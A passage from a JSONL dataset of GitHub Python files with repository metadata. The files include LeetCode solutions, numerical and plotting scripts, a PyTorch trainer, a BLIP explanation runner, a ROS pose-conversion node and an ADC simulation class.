√((a2-a1)^2 + (b2-b1)^2 + (c2-c1)^2)\n\n x = np.power(point.x-self.x, 2)\n y = np.power(point.y-self.y, 2)\n z = np.power(point.z-self.z, 2)\n distance = np.sqrt(\n np.add(\n np.add(\n x, y\n ),\n z\n )\n )\n\n return float(distance)\n\n def get_closest_point(self, points: np.array, distances: np.array, exclude: list = None) -> Point:\n \"\"\"\n Get the vertex closest to this vertex\n :param points: NumPy Array of Point objects -> return the closest\n :param distances: NumPy Array of floating point numbers to find the minimum\n :return: Point object with the closest relative position\n \"\"\"\n\n closest_index = np.where(distances == min(distances))\n closest = points[closest_index]\n\n return closest[0]\n\n def get_location(self) -> tuple:\n \"\"\"\n Get the location of the point\n :return: The location of the point\n \"\"\"\n return self.location\n","repo_name":"SupaSonic007/Ball-Pivoting-Algorithm","sub_path":"point.py","file_name":"point.py","file_ext":"py","file_size_in_byte":3342,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"10741671159","text":"\"\"\"\n给定一个二叉搜索树,编写一个函数kthSmallest来查找其中第k个最小的元素。\n\n说明:\n你可以假设 k 总是有效的,1 ≤ k ≤ 二叉搜索树元素个数。\n\n示例 1:\n输入: root = [3,1,4,null,2], k = 1\n 3\n / \\\n 1 4\n \\\n 2\n输出: 1\n\n示例 2:\n输入: root = [5,3,6,2,4,null,null,1], k = 3\n 5\n / \\\n 3 6\n / \\\n 2 4\n /\n 1\n输出: 3\n\n进阶:\n如果二叉搜索树经常被修改(插入/删除操作)并且你需要频繁地查找第 k 小的值,你将如何优化kthSmallest函数?\n\"\"\"\n\n\n# Definition for a binary tree node.\nclass TreeNode:\n def __init__(self, val=0, left=None, right=None):\n self.val = val\n self.left = left\n self.right = right\n\n\nclass Solution:\n def kthSmallest(self, root: TreeNode, k: int) -> int:\n # 中序遍历\n if not root:\n return None\n stack = []\n res = []\n while stack or root:\n if root:\n stack.append(root)\n root = root.left\n else:\n root = stack.pop()\n k -= 1\n if k == 0:\n return root.val\n root = root.right\n","repo_name":"GeorgeDaiz/my_python","sub_path":"Leetcode/Tree-Map/230.kth-smallest-element-in-a-bst.py","file_name":"230.kth-smallest-element-in-a-bst.py","file_ext":"py","file_size_in_byte":1217,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"26615648993","text":"def gcd(m, n):\n if n == 0:\n return m\n return gcd(n, m % n)\n\n\nif __name__ == \"__main__\":\n a, b, c = map(int, input().split())\n\n r = gcd(a, gcd(b, c))\n ans = (a // r - 1) + (b // r - 1) + (c // r - 1)\n print(ans)\n","repo_name":"mei28/Competitive-programing","sub_path":"kyopro_educational_90/22.py","file_name":"22.py","file_ext":"py","file_size_in_byte":236,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"27978698887","text":"class Solution:\n # @param {integer[]} nums\n # @return {integer}\n\n def majorityElement(self, nums):\n # return sorted(nums)[len(nums)/2]\n count = 0\n for x in nums:\n if count == 0:\n ans = x\n count = 1\n else:\n count += 1 if ans == x else -1\n return ans\n","repo_name":"gardenia22/leetcode","sub_path":"majorityElement.py","file_name":"majorityElement.py","file_ext":"py","file_size_in_byte":353,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"9967882060","text":"# set dimensions\nx = 2\ny = 2\nz = 2\n#create 3D list\na_3d_list = []\n\n#add `x` empty lists to the 3D list\nfor i in range(x):\n a_3d_list.append([])\n\n#add `y` empty lists to each of the `x` lists\n for j in range(y):\n a_3d_list[i].append([])\n\n#add initial value of `0` to the innermost list\n for k in range(z):\n a_3d_list[i][j].append(0)\n\nprint(\"--------------------------------------\")\n# set dimensions\nx = 2\ny = 2\nz = 2\n# comprehension to fill a 3D list with `0`s according to the set dimensions\na_3d_list = [[[0 for k in range(z)] for j in range(y)] for i in range(x)]\n\n# OUTPUT\nprint(a_3d_list)\n\n\n\n\n","repo_name":"SACHINKV14/MCS_00_Sachin_Core_Python","sub_path":"practice 04 Dec/harsha_tasks/_30_dec/_13_write_3D_array.py","file_name":"_13_write_3D_array.py","file_ext":"py","file_size_in_byte":628,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"33809462192","text":"from nltk.corpus import wordnet as wn\nfrom sklearn.feature_extraction.text import CountVectorizer\nfrom sklearn.metrics.pairwise import cosine_similarity\n\n\nclass SenseRanker:\n\n def __init__(self, categories):\n self.categories = categories\n self.word_set = self._get_word_set()\n self.context = self._build_context()\n self.vectorizer = self._build_vectorizer()\n\n def get_rank(self, word, sense):\n rank = 0.0\n cws = self._get_contextual_words(word)\n for cw in cws:\n for cw_sense in self.context[cw]:\n rank += self.get_r(sense, cw_sense)\n return rank\n\n def get_r(self, sense_1, sense_2):\n return cosine_similarity(\n self.vectorizer.transform([sense_1.definition()]),\n self.vectorizer.transform([sense_2.definition()])\n )\n\n def _build_vectorizer(self):\n v = CountVectorizer()\n corpus = self._get_contextual_glosses()\n v.fit_transform(corpus)\n return v\n\n def _build_context(self):\n ctx = {}\n for word in self.word_set:\n ctx[word] = wn.synsets(word)\n return ctx\n\n def _get_contextual_glosses(self):\n glosses = []\n for senses in self.context.values():\n glosses.extend([s.definition() for s in senses])\n return glosses\n\n def _get_contextual_words(self, word):\n return self.word_set.difference(set([word]))\n\n def _get_word_set(self):\n words = set()\n for c in self.categories:\n # should tokenise here and remove stopwords\n words.update(c.split())\n return words\n","repo_name":"ben-chin/AuCTOR","sub_path":"autocat/rp/sense_ranker.py","file_name":"sense_ranker.py","file_ext":"py","file_size_in_byte":1633,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"10884050330","text":"from datetime import date\r\natual = date.today().year\r\npessoa = dict()\r\ngrupo = []\r\nwhile True:\r\n pessoa = {'Nome': str(input('Digite o nome: ')),\r\n 'Idade': atual-(int(input('Ano de nascimento: '))),\r\n 'CTPS': int(input('Nº da CTPS (0 para não informar): '))}\r\n if pessoa['CTPS'] != 0:\r\n pessoa['Ano'] = int(input('Ano de contratação: '))\r\n pessoa['Salário'] = float(input('Salário: '))\r\n pessoa['Aposentadoria'] = pessoa[\"Idade\"]+(pessoa[\"Ano\"]+35)-atual\r\n grupo.append(pessoa.copy())\r\n pessoa.clear()\r\n cont = str(input('Deseja continuar? [S/N] '))\r\n if cont in 'Nn':\r\n break\r\nprint('-='*30)\r\nprint(grupo)\r\nc = 0\r\nfor p in grupo:\r\n for k, v in grupo[c].items():\r\n print(f'{k} tem o valor {v} e está na posição {c}.')\r\n c += 1\r\n","repo_name":"lcaldara/python3","sub_path":"exercicios curso em video/desafio92 - dicionario prec social.py","file_name":"desafio92 - dicionario prec social.py","file_ext":"py","file_size_in_byte":823,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"23884917012","text":"import matplotlib.pyplot as plt\r\nimport numpy as np\r\n\r\n# Define the layers and number of neurons\r\nlayers = ['Girdi Katmanı', 'Gizli Katman 1', 'Gizli Katman 2', 'Gizli Katman 3', 'Çıktı Katmanı']\r\nneurons = [1, 10, 10, 10, 3]\r\n\r\n# Create a new figure and set the figure size\r\nfig, ax = plt.subplots(figsize=(10,11))\r\n\r\n# Set the axis limits and remove the ticks and spines\r\nax.set_xlim([-1.5, len(layers) - 0.5])\r\nax.set_ylim([-1.5, max(neurons) + 0.5])\r\nax.set_xticks(np.arange(len(layers)))\r\nax.set_xticklabels(layers)\r\nax.set_yticks([])\r\nax.spines['top'].set_visible(False)\r\nax.spines['right'].set_visible(False)\r\n\r\n# Loop over the layers and plot the neurons\r\nfor i, (layer, num_neurons) in enumerate(zip(layers, neurons)):\r\n # Compute the y-coordinates of the neurons in the layer\r\n y = np.arange(num_neurons) - (num_neurons - 1) / 2\r\n # Plot the neurons as circles with a light blue color\r\n ax.scatter([i] * num_neurons, y, s=150, facecolor='#C0D9E9', edgecolor='none')\r\n # Add text labels for the number of neurons in the layer\r\n ax.text(i, max(y) + 0.5, str(num_neurons), ha='center', va='bottom', fontsize=10)\r\n # Add text labels for the layer names\r\n ax.text(i, -1, layer, ha='center', va='top', fontsize=10)\r\n\r\n# Draw the connections between the neurons\r\nfor i in range(len(layers) - 1):\r\n for j in range(neurons[i]):\r\n for k in range(neurons[i+1]):\r\n # Compute the coordinates of the start and end points of the connection\r\n x = [i, i + 1]\r\n y = [j - (neurons[i] - 1) / 2, k - (neurons[i+1] - 1) / 2]\r\n # Set the color of the connection based on the sign of the weight\r\n color = 'black' if np.random.rand() < 0.9 else 'red'\r\n # Draw the connection as a line with the appropriate color\r\n ax.plot(x, y, linewidth=0.5, color=color)\r\n\r\n# Add a title and display the plot\r\nplt.title('Sinir Ağı', fontsize=14)\r\nplt.tight_layout()\r\nplt.show()\r\n","repo_name":"nicoOgreYZ/MakineOgrenimi","sub_path":"sinir-aglari/viz.py","file_name":"viz.py","file_ext":"py","file_size_in_byte":1967,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"17492454812","text":"import os\n\nROOT = os.path.dirname(__file__) + \"/\"\nHOME = (os.getenv('USERPROFILE') or os.getenv('HOME') or \".\") + \"/\"\n# base paths\nROOT_INDEX = ROOT + \"indexes/\"\nROOT_CONFIG = ROOT + \"configs/\"\nHOME_CONFIG = HOME + \".alfanous/\"\nROOT_RESOURCE = ROOT + \"resources/\"\n# indexes paths\nQSE_INDEX = ROOT_INDEX + \"main/\"\nTSE_INDEX = ROOT_INDEX + \"extend/\"\nWSE_INDEX = ROOT_INDEX + \"word/\"\n# resources paths\nINFORMATION_FILE = ROOT_RESOURCE + \"information.json\"\n# configs path suffixes\nRECITATIONS_LIST_FILE = ROOT_CONFIG + \"recitations.json\"\nTRANSLATIONS_LIST_FILE = ROOT_CONFIG + \"translations.json\"\nHINTS_FILE = ROOT_CONFIG + \"hints.json\"\nSTATS_FILE = HOME_CONFIG + \"stats.json\"\nSTATS_REFERENCE_FILE = ROOT_CONFIG + \"stats.json\"","repo_name":"Alfanous-team/alfanous","sub_path":"src/alfanous/paths.py","file_name":"paths.py","file_ext":"py","file_size_in_byte":722,"program_lang":"python","lang":"en","doc_type":"code","stars":245,"dataset":"github-code","pt":"37"} +{"seq_id":"22706678174","text":"import torch\nimport torch.nn as nn\nfrom torch.optim import Adam\nfrom torch.autograd import Variable\nfrom torch.utils.data import DataLoader\nfrom torchvision.transforms import ToTensor,RandomHorizontalFlip,Normalize,Compose\nimport dataset,network\n\ndef train():\n data = dataset.DennyDATA(root,mod,input_transform)\n if net == 'Cifar10FullNet':\n model = network.Cifar10FullNet()\n if net == 'BvlcAlexNet':\n model = network.BvlcAlexNet()\n model = model.cuda()\n loader = DataLoader(data,batch_size=10,shuffle=True)\n criterion = nn.CrossEntropyLoss()\n optim = Adam(model.parameters())\n\n for epoch in range(1,epochs):\n total_loss = 0.0\n for step,(image,label) in enumerate(loader):\n input = Variable(image.cuda())\n target = Variable(label.cuda())\n output = model(input)\n\n optim.zero_grad()\n loss = criterion(output,target)\n loss.backward()\n\n optim.step()\n\n total_loss += loss.data[0]\n if (step+1) % 10 == 0:\n print('epoch:%d,step:%d,loss:%f'%(epoch,step+1,total_loss/10))\n total_loss = 0.0\n if (step+1) % 40 == 0:\n filename = 'models/'+net+'/'+net+'-'+str(epoch)+'-'+str(step+1)+'.pth'\n torch.save(model.state_dict(),filename)\n print('save'+filename)\n\ndef test():\n data = dataset.DennyDATA(root,'test',input_transform)\n if net == 'Cifar10FullNet':\n model = network.Cifar10FullNet()\n if net == 'BvlcAlexNet':\n model = network.BvlcAlexNet()\n model.load_state_dict(torch.load(testfile))\n model = model.eval()\n model = model.cuda()\n loader = DataLoader(data, batch_size=10)\n correct = 0.0\n total = 0.0\n for i, (image,label) in enumerate(loader):\n input = Variable(image.cuda())\n output = model(input)\n output = output.data.cpu().numpy().argmax(1)\n correct += sum(output == label.numpy())\n total += len(label)\n accuraacy = correct/total\n print(net+' Accuracy:'+str(accuraacy))\ndef main():\n if mod == 'train':\n train()\n if mod == 'test':\n test()\nif __name__ == \"__main__\":\n root = '../dataset/denny'\n mod = 'train'\n net = 'Cifar10FullNet'\n testfile = 'models/Cifar10FullNet/Cifar10FullNet-300-40.pth'\n epochs = 10000\n input_transform = Compose([\n dataset.myResize(224),\n RandomHorizontalFlip(),\n ToTensor(),\n Normalize([.485, .456, .406], [.229, .224, .225])\n ])\n\n main()\n","repo_name":"songh1024/ImageRecognitionByPytorch","sub_path":"denny/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2551,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"7678457865","text":"\"\"\"\r\nPeriodic spectral differentiation\r\n\"\"\"\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\nfrom scipy.linalg import toeplitz\r\n\r\n# Set up grid and differentiation matrix\r\nN = 24; h = 2*np.pi/N; x = h*np.arange(1, N+1);\r\nvec = np.arange(1, N)\r\ncol = np.append(np.array([0]), 0.5*(-1)**vec / np.tan(0.5*h*vec))\r\nrow = np.zeros(col.shape)\r\nrow[1:] = col[N-1:0:-1]\r\nD = toeplitz(col, row)\r\n\r\n# Differentiation of a hat function\r\nv = np.maximum(0, 1 - abs(x - np.pi)/2)\r\n\r\nplt.figure(figsize=(8,6), dpi=80)\r\nplt.subplot(3,2,1)\r\nplt.plot(x, v, '-o', markersize=3); plt.grid(True)\r\nplt.axis([0, 2*np.pi, -0.5, 1.5])\r\nplt.title('function')\r\nplt.subplot(3,2,2)\r\nplt.plot(x, np.dot(D, v), '-o', markersize=3); plt.grid(True)\r\nplt.axis([0, 2*np.pi, -1, 1])\r\nplt.title('spectral derivative')\r\n\r\n# Differentiation of exp(sin(x))\r\nv = np.exp(np.sin(x)); vprime = np.cos(x) * v\r\nplt.subplot(3,2,3)\r\nplt.plot(x, v, '-o', markersize=3); plt.grid(True)\r\nplt.subplot(3,2,4)\r\nplt.plot(x, np.dot(D, v), '-o', markersize=3); plt.grid(True)\r\nerror = np.linalg.norm(np.dot(D, v) - vprime, np.inf)\r\nplt.axis([0, 2*np.pi, -2, 2])\r\nplt.text(2.2, 1.4, 'max error = ' + str(np.round(error, 18)))\r\n","repo_name":"khiemnguyen0407/Spectral-Methods","sub_path":"p04.py","file_name":"p04.py","file_ext":"py","file_size_in_byte":1174,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"40172355913","text":"from PIL import Image\nimport requests\nimport torch\nfrom torchvision import transforms\nfrom torchvision.transforms.functional import InterpolationMode\nimport json\nimport argparse\nimport pickle\nimport glob\n\ndevice = torch.device('cuda' if torch.cuda.is_available() else 'cpu')\n\n#items = glob.glob('/root/bjoern/atman_other_model/others/BLIP/test_folder/*.jpg')\n#items = glob.glob('/nfs/scratch_2/bjoern/atman_other_model/openimages-mini/*/images/*.jpg')\nitems = glob.glob('/nfs/scratch_2/bjoern/atman_other_model/openimages-cleaned-all-classes/*/images/*.jpg')\n\ndef load_demo_image(image_size,device,img_url):\n if 'http' in img_url:\n img = Image.open(requests.get(img_url, stream=True).raw)\n else:\n img = Image.open(img_url)\n raw_image = img.convert('RGB')\n\n w,h = raw_image.size\n\n transform = transforms.Compose([\n transforms.Resize((image_size,image_size),interpolation=InterpolationMode.BICUBIC),\n transforms.ToTensor(),\n transforms.Normalize((0.48145466, 0.4578275, 0.40821073), (0.26862954, 0.26130258, 0.27577711))\n ])\n image = transform(raw_image).unsqueeze(0).to(device)\n return image\n\ndef process_img(ids, run_suffix, question, targets, suppression_factor, conceptual_suppression_threshold,limit_suppressions):\n from models.blip_vqa import blip_vqa\n\n image_size = 480\n\n model_url = 'https://storage.googleapis.com/sfr-vision-language-research/BLIP/models/model_base_vqa_capfilt_large.pth'\n #model_url = 'https://storage.googleapis.com/sfr-vision-language-research/BLIP/models/model_vqa.pth'\n\n model = blip_vqa(pretrained=model_url, image_size=image_size, vit='base')\n model.eval()\n model = model.to(device)\n cur_gpu, gpus = ids.split(',')\n cur_gpu = int(cur_gpu)\n gpus = int(gpus)\n\n import glob, os\n\n with torch.no_grad():\n\n #4: mask = ones except first ; .25\n #4: mask = ones except first ; .75\n #5: all ones\n\n #target_string=\"dog\"\n #img_url = 'https://storage.googleapis.com/sfr-vision-language-research/BLIP/demo.jpg'\n\n #for img_url in glob.glob('/nfs/scratch_2/bjoern/atman_other_model/openimages-mini/*/images/*.jpg'):\n #target_string = img_url.split('/')[-3]\n count = 0\n for img_url in items:\n count += 1\n if count % gpus != cur_gpu:\n continue\n\n targets = img_url.split('/')[-3].split('(')[0]\n #target_class = 'dog'\n #question = f'Q: Is there a {targets} in the picture? '\n #targets = 'A: yes'\n question = f'What is shown in the picture?'\n\n for target_string in targets.split(','):\n expl_name = f'{img_url}_explanation_{run_suffix}_{target_string}.json'\n if os.path.exists(expl_name):\n continue\n\n with open(f\"{img_url}_similarity.pickle\",\"rb\") as dump:\n similarities = pickle.load(dump)\n\n #target_string = 'green'\n image = load_demo_image(image_size=image_size, device=device,img_url=img_url)\n\n\n answer,all_factors,embedsim = model(image, question, train=False, suppression_factor=suppression_factor,\n conceptual_suppression_threshold=conceptual_suppression_threshold, target_string=target_string, limit_suppressions=limit_suppressions, similarities=similarities) #, limit_vision=2)\n answer_loss = answer.loss.tolist()\n #print(answer)\n\n with open(expl_name, 'w') as f:\n f.write(json.dumps({'loss':answer_loss,\n 'conceptual_suppression_threshold':conceptual_suppression_threshold,\n 'suppression_factor':suppression_factor,\n 'target_string':target_string,\n 'question':question,\n 'img':img_url,\n 'limit_suppressions':limit_suppressions,\n #'factors':all_factors,\n #'embedsim':embedsim,\n 'target': target_string\n }))\n\n print(img_url)\n #break\n\nparser = argparse.ArgumentParser(description='Process some integers.')\nparser.add_argument('ids', type=str,)\nparser.add_argument('suffix', type=str,)\nparser.add_argument('question', type=str,)\nparser.add_argument('targets', type=str,)\nparser.add_argument('suppression_factor', type=float,)\nparser.add_argument('conceptual_suppression_threshold', type=float,)\nparser.add_argument('limit_suppressions', type=int,)\n\nif __name__ == '__main__':\n\n args = parser.parse_args()\n process_img(args.ids,args.suffix,args.question,args.targets,args.suppression_factor,args.conceptual_suppression_threshold,args.limit_suppressions)\n","repo_name":"Aleph-Alpha/AtMan","sub_path":"BLIP/explain_vqa_run.py","file_name":"explain_vqa_run.py","file_ext":"py","file_size_in_byte":4982,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"37580341913","text":"#!/usr/bin/env python\n# -*- coding:utf-8 -*-\n\nfrom __future__ import print_function\n\nimport numpy as np\n\nimport cv_bridge\nfrom jsk_topic_tools import ConnectionBasedTransport\nimport message_filters\nimport rospy\n\nfrom geometry_msgs.msg import Point\nfrom geometry_msgs.msg import Pose\nfrom geometry_msgs.msg import Quaternion\nfrom jsk_recognition_msgs.msg import HumanSkeleton\nfrom jsk_recognition_msgs.msg import HumanSkeletonArray\nfrom jsk_recognition_msgs.msg import PeoplePose\nfrom jsk_recognition_msgs.msg import PeoplePoseArray\nfrom sensor_msgs.msg import CameraInfo\nfrom sensor_msgs.msg import Image\nfrom jsk_recognition_msgs.msg import Segment\n\nclass PeoplePose2Dto3D(ConnectionBasedTransport):\n\n limb_sequence = [[1,3],[3,5],[5,7],[7,9],[9,11],\n [1,2],[2,4],[4,6],[6,8],[8,10],\n [7,13],[13,15],[15,17],\n [6,12],[12,14],[14,16],\n [7,6],[13,12]]\n\n index2limbname = [\"nose\",\n \"left eye\",\n \"right eye\",\n \"left ear\",\n \"right ear\",\n \"left shoulder\",\n \"right shoulder\",\n \"left elbow\",\n \"right elbow\",\n \"left wrist\",\n \"right wrist\",\n \"left hip\",\n \"right hip\",\n \"left knee\",\n \"right knee\",\n \"left ankle\",\n \"right ankle\"]\n\n # index2limbname = [\"Nose\",\n # \"Neck\",\n # \"RShoulder\",\n # \"RElbow\",\n # \"RWrist\",\n # \"LShoulder\",\n # \"LElbow\",\n # \"LWrist\",\n # \"RHip\",\n # \"RKnee\",\n # \"RAnkle\",\n # \"LHip\",\n # \"LKnee\",\n # \"LAnkle\",\n # \"REye\",\n # \"LEye\",\n # \"REar\",\n # \"LEar\",\n # \"Bkg\"]\n \n def __init__(self):\n super(self.__class__, self).__init__()\n self.sub_info = None\n self.skeleton_pub = self.advertise(\n '~output/skeleton', HumanSkeletonArray, queue_size=1)\n self.pose_pub = self.advertise(\n '~output/pose', PeoplePoseArray, queue_size=1)\n\n def subscribe(self):\n queue_size = rospy.get_param('~queue_size', 10)\n sub_pose = message_filters.Subscriber(\n '~input/pose', PeoplePoseArray, queue_size=1, buff_size=2**24)\n sub_depth = message_filters.Subscriber(\n '~input/depth', Image, queue_size=1, buff_size=2**24)\n self.subs = [sub_pose, sub_depth]\n\n # NOTE: Camera info is not synchronized by default.\n # See https://github.com/jsk-ros-pkg/jsk_recognition/issues/2165\n sync_cam_info = rospy.get_param(\"~sync_camera_info\", False)\n if sync_cam_info:\n sub_info = message_filters.Subscriber(\n '~input/info', CameraInfo, queue_size=1, buff_size=2**24)\n self.subs.append(sub_info)\n else:\n self.sub_info = rospy.Subscriber(\n '~input/info', CameraInfo, self._cb_cam_info)\n\n if rospy.get_param('~approximate_sync', True):\n slop = rospy.get_param('~slop', 0.1)\n sync = message_filters.ApproximateTimeSynchronizer(\n fs=self.subs, queue_size=queue_size, slop=slop)\n else:\n sync = message_filters.TimeSynchronizer(\n fs=self.subs, queue_size=queue_size)\n if sync_cam_info:\n sync.registerCallback(self._cb_with_depth_info)\n else:\n self.camera_info_msg = None\n sync.registerCallback(self._cb_with_depth)\n\n def unsubscribe(self):\n for sub in self.subs:\n sub.unregister()\n if self.sub_info is not None:\n self.sub_info.unregister()\n self.sub_info = None\n\n def _cb_cam_info(self, msg):\n self.camera_info_msg = msg\n self.sub_info.unregister()\n self.sub_info = None\n rospy.loginfo(\"Received camera info\")\n\n def _cb_with_depth(self, pose_2d_array_msg, depth_msg):\n if self.camera_info_msg is None:\n return\n self._cb_with_depth_info(\n pose_2d_array_msg, depth_msg, self.camera_info_msg)\n\n def _cb_with_depth_info(\n self, pose_2d_array_msg, depth_msg, camera_info_msg\n ):\n br = cv_bridge.CvBridge()\n depth_img = br.imgmsg_to_cv2(depth_msg, 'passthrough')\n if depth_msg.encoding == '16UC1':\n depth_img = np.asarray(depth_img, dtype=np.float32)\n depth_img /= 1000 # convert metric: mm -> m\n elif depth_msg.encoding != '32FC1':\n rospy.logerr('Unsupported depth encoding: %s' % depth_msg.encoding)\n\n skeleton_array_msg = HumanSkeletonArray()\n skeleton_array_msg.header = pose_2d_array_msg.header\n pose_3d_array_msg = PeoplePoseArray()\n pose_3d_array_msg.header = pose_2d_array_msg.header\n\n # calculate xyz-position\n fx = camera_info_msg.K[0]\n fy = camera_info_msg.K[4]\n cx = camera_info_msg.K[2]\n cy = camera_info_msg.K[5]\n\n for pose_2d_msg in pose_2d_array_msg.poses:\n limb_names = pose_2d_msg.limb_names\n scores = pose_2d_msg.scores\n poses = pose_2d_msg.poses\n skeleton_msg = HumanSkeleton()\n pose_3d_msg = PeoplePose()\n for limb_name, score, pose in zip(limb_names, scores, poses):\n position = pose.position\n if score < 0:\n continue\n if 0 <= position.y < depth_img.shape[0] and\\\n 0 <= position.x < depth_img.shape[1]:\n z = float(depth_img[int(position.y)][int(position.x)])\n else:\n continue\n if np.isnan(z):\n continue\n x = (position.x - cx) * z / fx\n y = (position.y - cy) * z / fy\n pose_3d_msg.limb_names.append(limb_name)\n pose_3d_msg.scores.append(score)\n pose_3d_msg.poses.append(\n Pose(position=Point(x=x, y=y, z=z),\n orientation=Quaternion(w=1)))\n pose_3d_array_msg.poses.append(pose_3d_msg)\n\n for i, conn in enumerate(self.limb_sequence):\n j1_name = self.index2limbname[conn[0] - 1]\n j2_name = self.index2limbname[conn[1] - 1]\n if j1_name not in pose_3d_msg.limb_names \\\n or j2_name not in pose_3d_msg.limb_names:\n continue\n j1_index = pose_3d_msg.limb_names.index(j1_name)\n j2_index = pose_3d_msg.limb_names.index(j2_name)\n bone_name = '{}->{}'.format(j1_name, j2_name)\n bone = Segment(\n start_point=pose_3d_msg.poses[j1_index].position,\n end_point=pose_3d_msg.poses[j2_index].position)\n skeleton_msg.bones.append(bone)\n skeleton_msg.bone_names.append(bone_name)\n skeleton_array_msg.skeletons.append(skeleton_msg)\n\n self.skeleton_pub.publish(skeleton_array_msg)\n self.pose_pub.publish(pose_3d_array_msg)\n\n\nif __name__ == '__main__':\n rospy.init_node('people_pose_2d_to_3d')\n PeoplePose2Dto3D()\n rospy.spin()\n","repo_name":"nakane11/teach_spot","sub_path":"node_scripts/people_pose_2d_to_3d.py","file_name":"people_pose_2d_to_3d.py","file_ext":"py","file_size_in_byte":7604,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"4428184736","text":"import time\n\nimport oclock\nimport logging\nimport configuration\nimport os\nimport threading\nimport tkinter\nfrom integer_output import integer_output\n\n\n\n# NOTE: we need root so we can close the messagebox\nroot = tkinter.Tk()\nroot.withdraw()\n\nFILE_NAME_SAMPLING_PULSE_HIGH = []\nFILE_NAME_SAMPLING_PULSE_LOW = []\nADC_SAMPLING_PERIOD_SEC = None\nMAX_INT = configuration.MAX_INT\nMIN_INT = configuration.MIN_INT\nMAX_VAL = configuration.MAX_VAL\nMIN_VAL = configuration.MIN_VAL\n\n\n\nclass adc_app:\n##############\n CLOCK_PERIOD_SEC = None\n __event = None\n __wait_sampling_pulse_set = 0\n __evt_set_one = oclock.Event()\n __evt_set_zero = oclock.Event()\n __integer_output = None\n\n def __init__(self, event, CLOCK_PERIOD_SEC):\n logging.info('init digital_inputs')\n self.__event = event\n self.CLOCK_PERIOD_SEC = CLOCK_PERIOD_SEC\n self.updateGuiDefs()\n self.createTempFiles()\n # sync threads only used to create FIFOs\n thread_name = \"__thread_set_one\"\n thread_set_one = threading.Thread(name=thread_name, target=self.__thread_set_one, args=(thread_name,))\n thread_set_one.start()\n thread_name = \"__thread_set_zero\"\n thread_set_zero = threading.Thread(name=thread_name, target=self.__thread_set_zero, args=(thread_name,))\n thread_set_zero.start()\n # instantiate integer_output\n self.__integer_output = integer_output(event, \"LT2314_data_out\")\n\n def updateGuiDefs(self):\n global FILE_NAME_SAMPLING_PULSE_HIGH\n global FILE_NAME_SAMPLING_PULSE_LOW\n global ADC_SAMPLING_PERIOD_SEC\n FILE_NAME_SAMPLING_PULSE_HIGH = configuration.FILE_PATH + \"LT2314_sampling_pulse_high\"\n FILE_NAME_SAMPLING_PULSE_LOW = configuration.FILE_PATH + \"LT2314_sampling_pulse_low\"\n # ADC sampling period\n ADC_SAMPLING_PERIOD_SEC = self.CLOCK_PERIOD_SEC[0] * configuration.ADC_SAMPLING_PERIOD_IN_CLK_PER\n logging.info(\"DI_PERIOD_SEC = \" + str(ADC_SAMPLING_PERIOD_SEC))\n\n def createTempFiles(self):\n if os.path.exists(FILE_NAME_SAMPLING_PULSE_HIGH):\n os.remove(FILE_NAME_SAMPLING_PULSE_HIGH)\n\n # Manage file-handling in a separate thread.\n def __thread_set_one(self, name):\n logging.info(\"Thread %s: starting\", name)\n # thread loop\n while self.__event.evt_close_app.is_set() == False:\n # blocking call\n # BUG 10ms delay\n # self.__evt_set_one.wait()\n while self.__evt_set_one.is_set() is False:\n time.sleep(self.CLOCK_PERIOD_SEC[0]/4)\n self.__evt_set_one.clear()\n if os.path.isfile(FILE_NAME_SAMPLING_PULSE_LOW):\n renamed = False\n while renamed == False:\n try:\n os.replace(FILE_NAME_SAMPLING_PULSE_LOW, FILE_NAME_SAMPLING_PULSE_HIGH)\n renamed = True\n except:\n # logging.warning(\"File cannot be renamed, we try again. File = \" + FILE_NAME_DI_LOW[i])\n logging.debug(\"File cannot be renamed, we try again. File = \" + FILE_NAME_SAMPLING_PULSE_LOW)\n else:\n created = False\n while created == False:\n try:\n f = open(FILE_NAME_SAMPLING_PULSE_HIGH, \"w+\")\n f.close()\n created = True\n except:\n # logging.warning(\"File cannot be created, we try again. File = \" + FILE_NAME_SAMPLING_PULSE_HIGH)\n logging.debug(\"File cannot be created, we try again. File = \" + FILE_NAME_SAMPLING_PULSE_HIGH)\n # debug code\n logging.debug(\"sampling_pulse set to ONE\")\n # clear automatically...after a short time (but at least CLOCK_PERIOD_SEC)\n ##########################################################################\n # BUG: 10ms delay\n # self.__event.evt_wake_up.wait(self.CLOCK_PERIOD_SEC[0])\n time.sleep(self.CLOCK_PERIOD_SEC[0])\n self.__evt_set_zero.set()\n ##########################################################################\n logging.info(\"Thread %s: finished!\", name)\n\n # Manage file-handling in a separate thread.\n def __thread_set_zero(self, name):\n logging.info(\"Thread %s: starting\", name)\n # thread loop\n while self.__event.evt_close_app.is_set() == False:\n # blocking call\n # BUG 10ms delay\n # self.__evt_set_zero.wait()\n while self.__evt_set_zero.is_set() is False:\n time.sleep(self.CLOCK_PERIOD_SEC[0]/4)\n self.__evt_set_zero.clear()\n if os.path.isfile(FILE_NAME_SAMPLING_PULSE_HIGH):\n renamed = False\n while renamed == False:\n try:\n os.replace(FILE_NAME_SAMPLING_PULSE_HIGH, FILE_NAME_SAMPLING_PULSE_LOW)\n renamed = True\n except:\n # logging.warning(\"File cannot be renamed, we try again. File = \" + FILE_NAME_SAMPLING_PULSE_HIGH)\n logging.debug(\"File cannot be renamed, we try again. File = \" + FILE_NAME_SAMPLING_PULSE_HIGH)\n else:\n 